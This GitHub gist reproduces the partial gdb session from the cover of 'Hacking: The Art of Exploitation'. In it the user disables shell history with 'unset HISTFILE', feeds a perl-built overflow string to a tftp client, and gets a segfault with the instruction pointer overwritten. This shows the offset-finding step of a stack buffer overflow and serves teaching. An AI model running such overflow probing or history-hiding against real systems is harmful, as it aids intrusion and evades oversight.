Skip to content

Instantly share code, notes, and snippets.

@usr-ein
Created July 11, 2022 17:59
Show Gist options
  • Save usr-ein/a1d6a69b0cac47d74bfd9e1dbdc88121 to your computer and use it in GitHub Desktop.
Save usr-ein/a1d6a69b0cac47d74bfd9e1dbdc88121 to your computer and use it in GitHub Desktop.
Hacking: The Art Of Exploitation book cover code (partial)
$ unset HISTFILE
$ gdb -q /usr/bin/etftp
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) run -g $(perl -e 'print "AAAA"x64;for($i=65;$i<90;$i++){print
chr($i)x4}')
Starting program: /usr/bin/etftp -g $(perl -e 'print
"AAAA"x64;for($i=65;$i<90;$i++){print chr($i)x4}')
tftp: unknown host
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLL
MMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYY
Usage: get remote_file [local_file]
Program received signal SIGSEGV, Segmentation fault.
0x46464646 in ?? ()
(gdb) x/40x $esp - 100
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment